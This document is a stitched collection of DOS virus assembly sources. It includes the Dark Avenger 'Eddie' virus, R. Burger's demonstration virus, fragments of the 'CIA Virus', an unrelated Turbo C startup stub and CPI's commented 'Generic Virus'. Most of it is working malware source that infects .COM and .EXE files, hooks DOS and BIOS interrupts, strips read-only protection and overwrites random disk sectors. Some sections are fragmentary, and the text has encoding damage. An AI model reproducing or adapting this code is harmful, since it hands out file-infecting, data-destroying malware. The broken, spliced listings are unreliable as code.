; DISCLAIMER: The author does not take any responsability for any damage,
; either direct or implied, caused by the usage or not of this source or of
; the resulting code after assembly. No warrant is made about the product
; functionability or quality.
; I cannot resist to express my special gratitude to my "populazer" Dipl.
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
; not, helps very much in the spreading of my viruses, in spite of the fact
; that he tries to do just the opposite (writing programs in C has never
; led to any good).
; Greetings to all virus writers!
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;A separate stack is supported for
add sp,offset top_file+100h ;the .COM files, in order not to
sti ;overlap the stack by the program
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; Looking for the address of INT 13h handler in ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
cmp ax,0f000h ;for diskettes if a hard disk is
jne nofdisk ;available
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
cmp ax,0f000h ;where the original INT 13h vector is
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Occasionally begins with:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC somewhere
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;or with:
jne nxt ; TEST DL,80h
lodsw ; JNZ somewhere
cmp ax,7580h
jne nxt0
intchk:
inc si ;then there is:
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; Check whether the program is present in memory:
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; Move the program to the top of memory:
; (it's full of rubbish and bugs here)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ;Reduction of the segment size
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; Smash the next disk sector:
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ;Fetch program's name
lodsw ;(with DOS 2.x it doesn't work anyway)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; The following instruction is a complete nonsense. Try to enter a drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here + an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
jnz store_sec ;nothing is not enough for some.
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; The writing trough this interrupt is not the smartest thing, bacause it
; can be intercepted (what Vesselin Bontchev has managed to notice).
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;This instruction seems unnecessary
iret
; During the DOS functions Set & Get Vector it seems that the virus has not
; intercepted them (this is a doubtfull advantage and it is a possible
; source of errors with some "intelligent" programs)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
; INT 21h handler. Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and 26h
; has bad consequences.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;Unfortunately, the command inter-
jne dont_touch ;preter does not use this function
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; Converts into lowercase (the subroutines are a great thing).
function:
pushf
call dword ptr cs:[save_int_21]
ret
; Arrange to infect an executable file.
do_file:
push ds ;Save the registers in stack
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
push es ;and changes them with what is needed
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;Arranges to infect Read-only files
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;Now we can safely open the file
call function
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;Close it
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;Restores file's attributes
call function ;if they were changed (just in case)
no_update:
xor ax,ax ;Restores INT 13h and INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;Register restoration
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; This routine is the working horse.
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;Read the file beginning
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;Save file length
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;This should be top_file
sbb dx,0
jc stop_fuck_2 ;Small files are not infected
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; Check if the file is properly infected
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;Seek to the end of file
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;Watch out for too big .COM files
adc dx,0
je fuck_it
ret
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;Get file's date
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Very clever, isn't it?
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;This offers the possibilities to
movsb ;some nasty programs to restore
movsw ;exactly the original length
xor dx,dx ;of the .EXE files
mov cx,offset top_file
mov ah,40h
int 21h ;Write the virus
jc go_no_fuck ;(don't trace here)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Construct the .EXE file's header
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;Write the file beginning
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;Restore the original file date
int 21h
stop_fuck:
ret
; The following is used by the INT 21h and INT 27h handlers in connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurde and meaningless and it is also another source
; for program conflicts.
; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Even if he has not saved them in the same segment, this won't help him.
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; Fetch the segment of the last MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; Multiply by 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- Up to here comparison
disk: ; with the original is made
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;The original value of SS:SP
my_save:
int 20h ;The original contents of the first
nop ;3 bytes of the file
top_file: ;--- Up to here the code is written
filehndl equ $ ; in the files
filename equ filehndl+2 ;Buffer for the name of the opened file
save_int_27 equ filename+65 ;Original INT 27h vector
save_int_21 equ save_int_27+4 ;Original INT 21h vector
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
top_save equ save_int_21+4 ;Beginning of the buffer, which
contains
; - The first 24 bytes read from file
; - File length (4 bytes)
; - The last bytes of the file
; (my_size bytes)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end
page 70,120
Name VIRUS
;*************************************************************************
; Program Virus Ver.: 1.1
; Copyright by R. Burger 1986
; This is a demonstration program for computer
; viruses. It has the ability to replicate itself,
; and thereby modify other programs
;*************************************************************************
; The three NOP's serve as the marker byte of the
; virus which will allow it to identify a virus
;*************************************************************************
; Get the number of drives present.
; If only one drive is present, the pointer for
; search order will be set to search order + 6
;*************************************************************************
; Carry is set, if no more .COM's are found.
; Then, to avoid unnecessary work, .EXE files will
; be renamed to .COM file and infected.
; This causes the error message "Program too lrage
; to fit in memory" when starting larger infected
; EXE programs.
;*************************************************************************
change_disk:
jnc no_name_change
mov ah,17h ; change exe to com
lea dx,cs:maske_exe
int 21h
cmp al,0ffh
jnz no_name_change ; .EXE found?
; If neither .COM nor .EXE is found, then sectors will
; be overwritten depending on the system time in
; milliseconds. This is the time of the complete
; "infection" of a storage medium. The virus can find
; nothing more to infect and starts its destruction.
;*************************************************************************
mov ah,2ch ; read system clock
int 21h
mov bx,cs:pointer
mov al,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h ; write crap on disk
; Check if the end of the search order table has been
; reached. If so, end.
;*************************************************************************
; Starting from the root, search for the first subdir
; First convert all .EXE files to .COM in the old
; directory.
;*************************************************************************
find_first_subdir:
mov ah,17h ; change exe to com
lea dx,cs:maske_exe
int 21h
mov ah,3bh ; use root dir
lea dx,path
int 21h
mov ah,04eh ;Search for first subdirectory
mov cx,00010001b ; dir mask
lea dx,maske_dir
int 21h
jc change_disk
mov bx,CS:counter
INC BX
DEC bx
jz use_next_subdir
; Search for the next subdir. If no more directories
; are found, the drive will be changed.
;*************************************************************************
find_next_subdir:
mov ah,4fh ; search for next subdir
int 21h
jc change_disk
dec bx
jnz find_next_subdir
; Find first .COM file in the current directory.
; If there are non, search the next directory.
;*************************************************************************
find_first_file:
mov ah,04eh ; Search for first
mov cx,00000001b ; mask
lea dx,maske_com ;
int 21h
jc find_first_subdir
jmp check_if_ill
; Here we search for three NOP's.
; If present, there is already an infection. We must
; then continue the search.
;*************************************************************************
; The jump located at address 0100h of the program
; will be saved for future use.
;*************************************************************************
mov dx,cs:[conta] ; save old jmp
mov cs:[jmpbuf],dx
mov dx,cs:[buffer+1] ; save new jump
lea cx,cont-100h
sub dx,cx
mov cs:[conta],dx
; restore the old jump address.
; The virus saves at address "conta' the jump which
; was at the start of the host program.
; This is done to preserve the executability of the
; host program as much as possible.
; After saving itstill works with the jump address
; contained in the virus. The jump address in the
; virus differs from the jump address in memory
;
;*************************************************************************
; Reactivate the selected path at the start of the
; program.
;*************************************************************************
mov ah,3bh ; use old dir
lea dx,old_path-1 ; get old path and backslash
int 21h
ret
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer dw 0000 ; pointer f. search order
counter dw 0000 ; counter f. nth search
disks db 0 ; number of disks
maske_com db "*.com",00 ; search for com files
maske_dir db "*",00 ; search dir's
maske_exe db 0ffh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db 0ffh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0
buffer equ 0e000h ; a safe place
buflen equ 230h ; length of virus !!!!!!
; careful
; if changing !!!!!!
jmpbuf equ buffer+buflen ; a safe place for jump
path db "\",0 ; first path
drive db 0 ; actual drive
back_slash db "\"
old_path db 32 dup(?) ; old path
code ends
end main
;*************************************************************************
; WHAT THE PROGRAM DOES:
;
; When the program is started, the first COM file in the root
; directory is infected. You can't see any changes to the
; directory entries. But if you look at the hex dump of an
; infected program, you can see the marker, which in this case
; consists of three NOP's (hex 90). WHen the infected program
; is started, the virus will first replicate itself, and then
; try to run the host program. It may run or it may not, but
; it will infect another program. This continues until all
; the COM files are infected. The next time it is run, all
; of the EXE files are changed to COM files so that they can
; be infected. In addition, the manipulation task of the virus
; begins, which consists of the random destruction of disk
; sectors.
;*************************************************************************
; 'Extra-Tiny' memory model startup code for Turbo C 2.0
;
; This makes smaller executable images from C programs, by
; removing code to get command line arguments and the like.
; Compile with Tiny model flag, do not use any standard I/O
; library functions, such as puts() or int86().
;
; This code courtesey PC Magazine, December 26, 1989.
; But nobody really needs to know that.
_text segment byte public 'code'
_text ends
_data segment word public 'data'
_data ends
_bss segment word public 'bss'
_bss ends
dgroup group _text, _data, _bss
_text segment
org 100h
begin:
_text ends
end begin
page 70,120
Name CIAVIRUS
;************************************
; CIA Virus (C) 1989 by
; Live Wire
;************************************
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer dw 0000
counter dw 0000
disks db 0
maske_com db "*.com",00
maske_dir db "*",00
maske_exe db 0ffh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db 0ffh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0
buffer equ 0e000h
buflen equ 230h
jmpbuf equ buffer+buflen
path db "\",0
drive db 0
back_slash db "\"
old_path db 32 dup (?)
code ends
end main
;=============================================================================
;
; C*P*I
;
; CORRUPTED PROGRAMMING INTERNATIONAL
; -----------------------------------
; p r e s e n t s
;
; T H E
; _ _
; (g) GENERIC VIRUS (g)
; ^ ^
;
;
; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF
; CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT
; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR вPROGRAM TO BIG TO
; FIT IN MEMORYг THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS.
;
; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON
; THE DISK. HAVE PHUN WITH THIS ONE.
;
; ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE
; IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING.
;
; THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE
; HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF
; THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR
; ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE.
;
; DOCTOR DISSECTOR
; CPI ASSOCIATES
;
;=============================================================================
MAIN:
NOP ;| Marker bytes that identify this program
NOP ;| as infected/a virus
NOP ;|
MOV AH,19 ;| Get the selected drive (dir?)
INT 21 ;|
MOV CS:DRIVE,AL ;| Get current path (save drive)
MOV AH,47 ;| (dir?)
MOV DH,0 ;|
ADD AL,1 ;|
MOV DL,AL ;| (in actual drive)
LEA SI,CS:OLD_PATH ;|
INT 21 ;|
MOV AH,0E ;| Find # of drives
MOV DL,0 ;|
INT 21 ;|
CMP AL,01 ;| (Check if only one drive)
JNZ HUPS3 ;| (If not one drive, go the HUPS3)
MOV AL,06 ;| Set pointer to SEARCH_ORDER +6 (one drive)
HUPS3: MOV AH,0 ;| Execute this if there is more than 1 drive
LEA BX,SEARCH_ORDER ;|
ADD BX,AX ;|
ADD BX,0001 ;|
MOV CS:POINTER,BX ;|
CLC ;|
CHANGE_DISK: ;| Carry is set if no more .COM files are
JNC NO_NAME_CHANGE ;| found. From here, .EXE files will be
MOV AH,17 ;| renamed to .COM (change .EXE to .COM)
LEA DX,CS:MASKE_EXE ;| but will cause the error message вProgram
INT 21 ;| to large to fit in memoryг when starting
CMP AL,0FF ;| larger infected programs
JNZ NO_NAME_CHANGE ;| (Check if an .EXE is found)
MOV AH,2CH ;| If neither .COM or .EXE files can be found,
INT 21 ;| then random sectors on the disk will be
MOV BX,CS:POINTER ;| overwritten depending on the system time
MOV AL,CS:[BX] ;| in milliseconds. This is the time of the
MOV BX,DX ;| complete вinfectionг of a storage medium.
MOV CX,2 ;| The virus can find nothing more to infect
MOV DH,0 ;| starts its destruction.
INT 26 ;| (write crap on disk)
NO_NAME_CHANGE: ;| Check if the end of the search order table
MOV BX,CS:POINTER ;| has been reached. If so, end.
DEC BX ;|
MOV CS:POINTER,BX ;|
MOV DL,CS:[BX] ;|
CMP DL,0FF ;|
JNZ HUPS2 ;|
JMP HOPS ;|
HUPS2: ;| Get a new drive from the search order table
MOV AH,0E ;| and select it, beginning with the ROOT dir.
INT 21 ;| (change drive)
MOV AH,3B ;| (change path)
LEA DX,PATH ;|
INT 21 ;|
JMP FIND_FIRST_FILE ;|
FIND_FIRST_SUBDIR: ;| Starting from the root, search for the
MOV AH,17 ;| first subdir. First, (change .exe to .com)
LEA DX,CS:MASKE_EXE ;| convert all .EXE files to .COM in the
INT 21 ;| old directory.
MOV AH,3B ;| (use root directory)
LEA DX,PATH ;|
INT 21 ;|
MOV AH,04E ;| (search for first subdirectory)
MOV CX,00010001B ;| (dir mask)
LEA DX,MASKE_DIR ;|
INT 21 ;|
JC CHANGE_DISK ;|
MOV BX,CS:COUNTER ;|
INC BX ;|
DEC BX ;|
JZ USE_NEXT_SUBDIR ;|
FIND_NEXT_SUBDIR: ;| Search for the next sub-dir, if no more
MOV AH,4FH ;| are found, the (search for next subdir)
INT 21 ;| drive will be changed.
JC CHANGE_DISK ;|
DEC BX ;|
JNZ FIND_NEXT_SUBDIR ;|
USE_NEXT_SUBDIR:
MOV AH,2FH ;| Select found directory. (get dta address)
INT 21 ;|
ADD BX,1CH ;|
MOV ES:[BX],Wг\г ;| (address of name in dta)
INC BX ;|
PUSH DS ;|
MOV AX,ES ;|
MOV DS,AX ;|
MOV DX,BX ;|
MOV AH,3B ;| (change path)
INT 21 ;|
POP DS ;|
MOV BX,CS:COUNTER ;|
INC BX ;|
MOV CS:COUNTER,BX ;|
FIND_FIRST_FILE: ;| Find first .COM file in the current dir.
MOV AH,04E ;| If there are none, (Search for first)
MOV CX,00000001B ;| search the next directory. (mask)
LEA DX,MASKE_COM ;|
INT 21 ;|
JC FIND_FIRST_SUBDIR ;|
JMP CHECK_IF_ILL ;|
FIND_NEXT_FILE: ;| If program is ill (infected) then search
MOV AH,4FH ;| for another. (search for next)
INT 21 ;|
JC FIND_FIRST_SUBDIR ;|
CHECK_IF_ILL: ;| Check if already infected by virus.
MOV AH,3D ;| (open channel)
MOV AL,02 ;| (read/write)
MOV DX,9EH ;| (address of name in dta)
INT 21 ;|
MOV BX,AX ;| (save channel)
MOV AH,3FH ;| (read file)
MOV CH,BUFLEN ;|
MOV DX,BUFFER ;| (write in buffer)
INT 21 ;|
MOV AH,3EH ;| (close file)
INT 21 ;|
MOV BX,CS:[BUFFER] ;| (look for three NOPеs)
CMP BX,9090 ;|
JZ FIND_NEXT_FILE ;|
MOV AH,43 ;| This section by-passes (write enable)
MOV AL,0 ;| the MS/PC DOS Write Protection.
MOV DX,9EH ;| (address of name in dta)
INT 21 ;|
MOV AH,43 ;|
MOV AL,01 ;|
AND CX,11111110B ;|
INT 21 ;|
MOV AH,3D ;| Open file for read/write (open channel)
MOV AL,02 ;| access (read/write)
MOV DX,9EH ;| (address of name in dta)
INT 21 ;|
MOV BX,AX ;| Read date entry of program and (channel)
MOV AH,57 ;| save for future use. (get date)
MOV AL,0 ;|
INT 21 ;|
PUSH CX ;| (save date)
PUSH DX ;|
MOV DX,CS:[CONTA W] ;| The jump located at 0100h (save old jmp)
MOV CS:[JMPBUF],DX ;| the program will be saved for future use.
MOV DX,CS:[BUFFER+1] ;| (save new jump)
LEA CX,CONT-100 ;|
SUB DX,CX ;|
MOV CS:[CONTA],DX ;|
MOV AH,57 ;| The virus now copies itself to (write date)
MOV AL,1 ;| to the start of the file.
POP DX ;|
POP CX ;| (restore date)
INT 21 ;|
MOV AH,3EH ;| (close file)
INT 21 ;|
MOV DX,CS:[JMPBUF] ;| Restore the old jump address. The virus
MOV CS:[CONTA],DX ;| at address вCONTAг the jump which was at the
;| start of the program. This is done to
HOPS: ;| preserve the executability of the host
NOP ;| program as much as possible. After saving,
CALL USE_OLD ;| it still works with the jump address in the
;| virus. The jump address in the virus differs
;| from the jump address in memory
CONT DB 0E9 ;| Continue with the host program (make jump)
CONTA DW 0 ;|
MOV AH,00 ;|
INT 21 ;|
USE_OLD:
MOV AH,0E ;| Reactivate the selected (use old drive)
MOV DL,CS:DRIVE ;| drive at the start of the program, and
INT 21 ;| reactivate the selected path at the start
MOV AH,3B ;| of the program.(use old drive)
LEA DX,OLD_PATH-1 ;| (get old path and backslash)
INT 21 ;|
RET ;|
SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF
POINTER DW 0000 ;| (pointer f. search order)
COUNTER DW 0000 ;| (counter f. nth. search)
DISKS DB 0 ;| (number of disks)
MASKE_COM DB в*.COMг,00 ;| (search for com files)
MASKE_DIR DB в*г,00 ;| (search for dirеs)
MASKE_EXE DB 0FF,0,0,0,0,0,00111111XB
DB 0,г????????EXEг,0,0,0,0
DB 0,г????????COMг,0
MASKE_ALL DB 0FF,0,0,0,0,0,00111111XB
DB 0,г???????????г,0,0,0,0
DB 0,г????????COMг,0
BUFFER EQU 0E00 ;| (a safe place)
BUFLEN EQU 208H ;| Length of virus. Modify this accordingly
;| if you modify this source. Be careful
;| for this may change!
JMPBUF EQU BUFFER+BUFLEN ;| (a safe place for jmp)
PATH DB в\г,0 ;| (first place)
DRIVE DB 0 ;| (actual drive)
BACK_SLASH DB в\г
OLD_PATH DB 32 DUP (?) ;| (old path)
;************************
;* *
;* E D D I E *
;* *
;* by Dark Avenger *
;* *
;* 3-JAN-1989 *
;* *
;* version 1.31x *
;* *
;************************
; "Blessed is he who expects nothing, for he shall not be disappointed."
